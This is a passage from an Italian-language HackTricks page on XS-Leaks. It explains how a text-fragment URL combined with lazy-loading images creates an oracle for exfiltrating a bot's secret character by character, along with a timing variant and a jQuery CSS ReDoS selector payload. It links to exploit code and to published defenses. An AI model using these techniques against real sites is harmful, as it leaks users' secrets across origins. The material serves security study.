Quindi la pagina web sarà qualcosa del genere: https://vittima.com/post.html#:~:text=SECR
Dove post.html contiene i caratteri di junk dell'attaccante e un'immagine di caricamento lento e poi viene aggiunto il segreto del bot.
Ciò che questo testo farà è far sì che il bot acceda a qualsiasi testo nella pagina che contiene il testo SECR
. Poiché quel testo è il segreto ed è proprio sotto l'immagine, l'immagine si caricherà solo se il segreto indovinato è corretto. Quindi hai il tuo oracolo per esfiltrare il segreto carattere per carattere.
Un esempio di codice per sfruttare ciò: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Caricamento Lento dell'Immagine Basato sul Tempo
Se non è possibile caricare un'immagine esterna che potrebbe indicare all'attaccante che l'immagine è stata caricata, un'altra opzione sarebbe provare a indovinare il carattere più volte e misurare ciò. Se l'immagine viene caricata, tutte le richieste richiederanno più tempo rispetto a quando l'immagine non viene caricata. Questo è ciò che è stato utilizzato nella soluzione di questo writeup riassunto qui:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
Se viene utilizzato jQuery(location.hash)
, è possibile scoprire tramite il timing se esiste del contenuto HTML, questo perché se il selettore main[id='site-main']
non corrisponde, non è necessario controllare il resto dei selettori:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
Iniezione di CSS
{% content-ref url="xs-search/css-injection/" %} iniezione-css {% endcontent-ref %}
Difese
Ci sono mitigazioni raccomandate in https://xsinator.com/paper.pdf anche in ogni sezione del wiki https://xsleaks.dev/. Dai un'occhiata lì per ulteriori informazioni su come proteggerti da queste tecniche.
Riferimenti
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}